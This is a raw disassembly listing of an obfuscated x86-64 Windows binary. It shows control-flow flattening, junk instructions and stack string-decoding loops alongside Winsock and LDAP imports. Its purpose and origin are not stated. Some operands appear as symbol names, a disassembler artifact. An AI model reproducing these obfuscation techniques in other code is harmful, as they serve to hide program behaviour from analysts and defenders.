movabs rdx, 0x785699bd4eeb48d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
movabs rcx, 0x1936532e8307a27a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x56
jmp 0x14009823b
movabs rdx, 0xba160c9fb723fc20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140098260
movabs rcx, 0x5af5c610eb4055c6
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6a
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
movabs rdx, 0xfbd57f821f5caf6c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009839c
movabs rdx, 0x9cb538f353790912
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7e
add r11b, dl
jmp 0x1400983ca
movabs rcx, 0x3d94f264879562b8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 8
jmp 0x140098421
movabs rcx, 0xcfc441ff89dc42d7
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x1f
mov byte [rbp + rdi + 0x910], r11b
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
movabs rcx, 0x70a3fb70bdf89c7d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6b
cmp r9, 0x64
jb 0x140097b8d
movabs rcx, 0xf36e0e729e5a23ee
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 4]
jmp 0x1400982d3
movabs rcx, 0x1183b4e1f214f623
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xb
cmp r8, 2
jae 0x140098179
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x140098070
movabs rdx, 0x3c2b4cdea775a46a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140097bc5
movabs rcx, 0xb2636e5326314fc9
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7f
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x1400981a9
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x140097f57
movabs rcx, 0xd55868034a9f51b9
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xf
jmp 0x140097c0e
movabs rcx, 0x68f15d242d05f026
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xa
jmp 0x140098421
movabs rdx, 0x9d11695612249cc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400983ca
movabs rdx, 0xaab0d006953ea372
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1e
jmp 0x140098399
movabs rdx, 0x4b908977c95afd18
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
movabs rcx, 0xec7042e8fd7756be
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x32
jmp 0x140098260
movabs rdx, 0x8d4ffc5a3193b064
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009823b
movabs rcx, 0x2e2fb5cb65b00a0a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x46
dec rdi
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
movabs rdx, 0xcf0f6f3c99cc63b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
movabs rdx, 0x6fef28adcde8bd56
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5a
add r11b, dl
jmp 0x1400982d3
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x140097e6a
movabs rcx, 0xaf90234765f1d32d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3b
jmp 0x140097c6b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140097e9f
movabs rdx, 0xcda5c9b6b9aca562
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140098421
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140097edf
movabs rcx, 0x867710f81028b7e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x72
dec rdi
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140097f27
movabs rdx, 0x6787b79e4ce631d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140097c6b
movabs rcx, 0xc6a7fe2d18c9d832
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
jmp 0x1400982d3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140097f87
movabs rcx, 0x3478ae921682f813
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x7b
jmp 0x1400982d3
inc rax
cmp r8, rax
jne 0x140097fc6
movabs rcx, 0xf2b93bafae4a44c7
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x71
dec rdi
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140097ff6
movabs rcx, 0x51d9823e7a2deb21
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x19
jmp 0x14009823b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140098040
movabs rcx, 0x101a0f5c11f537d5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x2d
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140097c0e
movabs rcx, 0x2d7ae30875a02ae3
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x35
jmp 0x140098421
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400980a0
movabs rcx, 0x9b4b936d73594ac4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x140098421
inc rax
cmp r8, rax
jne 0x1400980d4
movabs rdx, 0xfa6bd9fc3f3cf11e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400983ca
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140098105
movabs rdx, 0x598c208b0b209778
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
jmp 0x140098399
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140098145
movabs rcx, 0xd60d3ac63aaf30e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
dec rdi
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140097bc5
movabs rdx, 0x944dc7e3d2767d94
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xc
add r11b, dl
jmp 0x1400982d3
movabs rdx, 0x528e55016a3dca48
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0x910]
add r11b, bl
add r11b, dl
jmp 0x14009823b
movabs rcx, 0xb1ae9b90362170a2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0x910]
lea r11d, [rbx + rcx]
sub r11b, 0x6e
jmp 0x14009839c
movabs rcx, 0xbef55fe087d72bdb
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 3
jmp 0x140098421
movabs rdx, 0x5fd51951bbf38581
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x79
add r11b, dl
jmp 0x1400983ca
movabs rcx, 0xe353ff168c64ec19
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x51
movabs rcx, 0x21e7848d02f9d75
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x33
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0x910], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
movabs rcx, 0x8433b887c08145bf
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x39
dec rdi
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
movabs rcx, 0xc5f32b6a28b9f90b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4d
movabs rcx, 0xa2fe31ba044bf71b
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
add bl, 0x43
add bl, cl
mov byte [rbp + rdi + 0x910], bl
inc r9
dec rdi
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
movabs rcx, 0xa89257bdc50f05fd
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x15
inc r9
dec rdi
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
movabs rcx, 0x4972112ef92b5fa3
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x75
dec rdi
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
mov rbx, r10
movabs rdx, 0xccf0f6f3c99cc63b
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x63
add r11b, dl
movabs rcx, 0x613ebed79c1343cf
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x57
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x910], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x10cee21f020516fc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x910], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
jmp 0x140098421
movabs rcx, 0xeb069d631d57987
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x4f
movzx eax, byte [rbp + rdi + 0x910]
add rax, r9
add rdi, rax
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
movabs rcx, 0x35e25417f6a2b661
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x59
jmp 0x14009768e
movabs rcx, 0xd6c20d892abf1007
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x31
jmp 0x140097675
lea rcx, [rbp + 0x179eb4c]
jmp 0x1400984a6
lea rcx, [rbp + 0x12bbe79]
jmp 0x1400984a6
lea rcx, [rbp + 0x910]
xor r8d, r8d
mov rdx, r15
call fcn.140036bc0
test al, al
je 0x14009850d
xor ebx, ebx
nop dword [rax + rax]
mov edi, dword [r14]
cmp edi, ebx
sete dl
mov dword [rbp - 0x6c], 0
mov dword [rbp - 0x68], 0
lea r9, [rbp - 0x6c]
xor r8d, r8d
mov rcx, qword [rsi]
call fcn.14003e490
test al, al
je 0x1400984f0
mov dword [r14], ebx
cmp edi, ebx
jne 0x1400984fd
call fcn.140014a40
inc ebx
add rsi, 8
cmp ebx, 2
jl 0x1400984c0
call fcn.140018d80
lea rdx, [0x140225f50]
lea rcx, [rbp + 0x228]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x78]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov r14, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [r14 + 0x38], 0
jne 0x1400a2a12
movsxd rax, dword [r14 + 0x30]
lea rsi, [0x1401b6728]
mov rdi, qword [rsi + rax*8]
mov byte [rbp + 0x938], 0x82
mov byte [rbp + 0x939], 0xa3
mov byte [rbp + 0x93a], 0xb3
mov byte [rbp + 0x93b], Ordinal_143
mov byte [rbp + 0x93c], __WSAFDIsSet
mov byte [rbp + 0x93d], 0x9f
mov byte [rbp + 0x93e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x93f], 0xbf
mov byte [rbp + 0x940], 0x9f
mov byte [rbp + 0x941], 0x98
mov byte [rbp + 0x942], __WSAFDIsSet
mov byte [rbp + 0x943], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x944], 0x9d
mov byte [rbp + 0x945], 0x90
mov byte [rbp + 0x946], __WSAFDIsSet
mov byte [rbp + 0x947], 0xe7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x948], xmm0
mov word [rbp + 0x958], ax
mov byte [rbp + 0x95a], al
movabs r13, 0x375fff3e191568a1
movabs r15, 0xd00db1d7fb5cf17f
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
movabs rcx, 0xf672491b56871d5d
cmp rbx, 0x23
jae 0x140099442
movzx r11d, byte [rbp + rbx + 0x938]
mov edx, r11d
cmp r8, rbx
ja 0x140099436
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140098674
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x75
jmp 0x1400986b0
je 0x1400993ad
lea rax, [r9 + 2]
cmp r8, rax
je 0x140099314
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400992e1
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400992b7
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009928a
nop
cmp r9, rbx
ja 0x14009942a
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400986e1
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x67
jmp 0x140098720
lea rax, [r9 + 1]
cmp r8, rax
je 0x140099239
inc rax
cmp r8, rax
je 0x14009920f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400991ae
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009918b
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140098d81
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140098d58
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140098d26
lea rax, [r9 + 2]
cmp r8, rax
je 0x140098cf7
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140098cce
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140098c97
lea rax, [r9 + 4]
cmp r8, rax
je 0x140098c63
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140098c3f
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140098c17
lea rax, [r9 + 6]
cmp r8, rax
je 0x140098be1
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140098730
lea r8, [r9 + 8]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140099406
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400993e1
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400988f0
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400988d1
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140098b7b
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140098b18
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140098ac5
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140098a95
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140098730
lea r8, [r9 + 5]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140098a5b
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140098a32
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140098a09
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400989d0
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140098994
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140098969
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14009893c
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140098918
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140098730
lea r8, [r9 + 3]
lea r9, [r8 + 0x1000]
jmp 0x140098730
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x79
add r10b, dl
jmp 0x140098720
movabs rdx, 0xe3291fa14e4eb6c5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x63
add r10b, dl
jmp 0x1400986b0
movabs rcx, 0xbafff9f0c8ab4508
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x140099258
movabs rcx, 0xce1b67ba1b9d0a4e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x22
inc r9
dec rbx
inc rbx
jmp 0x140098622
movabs rcx, 0xe136d5836e8ecf94
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xc
dec rbx
inc rbx
jmp 0x140098622
movabs rdx, 0x76db11614725a20
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098622
movabs rdx, 0x1a891edf67641f66
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098622
movabs rdx, 0x2da48ca8ba55e4ac
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140099333
movabs rdx, 0x40bffa720d47a9f2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140099363
movabs rdx, 0x53db683b60396f38
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x938]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140098622
movabs rcx, 0x839ffab2af95dc67
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x2f
mov byte [rbp + rbx + 0x938], r10b
inc rbx
jmp 0x140098622
movabs rdx, 0x96bb687c0287a1ad
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x45
add r10b, dl
cmp r9, 8
jb 0x140098ab5
movabs rdx, 0x318920e479d5b30e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x140099258
movabs rdx, 0xa9d6d645557966f3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x5b
add r10b, dl
cmp r8, 0xa
jae 0x14009912a
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x140098fc2
movabs rdx, 0xf09b6ac1b74767ca
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140098ae5
movabs rdx, 0xbcf2440ea86b2c39
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x71
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 2
je 0x14009915a
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x140098ea5
movabs rdx, 0xb93b6b839e31ff29
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1f
jmp 0x140098b38
movabs rcx, 0x4c3ffb74968073c6
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6a
movzx eax, byte [rbp + rbx + 0x938]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140098622
movabs rdx, 0x5f5b693de972390c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x54
add r10b, dl
jmp 0x140099363
movabs rcx, 0x7276d7073c63fe52
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
jmp 0x140099333
movabs rcx, 0x859244d08f55c398
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098622
movabs rcx, 0x98adb299e24788de
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098622
movabs rdx, 0xabc9206335394e24
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400991cd
movabs rdx, 0xbee48e2c882b136a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140098622
movabs rdx, 0xd1fffbf5db1cd8b0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140098622
movabs rdx, 0xe51b69bf2e0e9df6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140099258
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140098db3
movabs rdx, 0xf672491b56871d5d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x75
jmp 0x140098b9b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140098dfa
movabs rdx, 0x6ebffe7c322ad142
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x938]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140098622
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140098e30
movabs rdx, 0x488922e98c4746b6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140099333
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140098e74
movabs rcx, 0x22524756e663bc2a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098622
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140098b9e
movabs rcx, 0xd5e490319a9ca712
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
jmp 0x140099258
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140098ed6
movabs rcx, 0xa61ffdba4b4039e3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x35
jmp 0x140099258
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140098f0d
movabs rcx, 0x7fe92227a55caf57
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x61
dec rbx
inc rbx
jmp 0x140098622
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140098f3e
movabs rcx, 0x6ccdb45e526aea11
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x77
jmp 0x1400991cd
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140098f7f
movabs rcx, 0x4696d8cbac875f85
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5d
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098622
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140098b3b
movabs rcx, 0xd448f6fb3b20fb3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x1b
movzx eax, byte [rbp + rbx + 0x938]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140098622
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140099009
movabs rdx, 0xdd7ffcf86455a284
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x938]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140098622
inc rax
cmp r8, rax
jne 0x14009903e
movabs rdx, 0xb7492165be7217f8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140099333
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140099084
movabs rdx, 0xa42db39c6b8052b2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
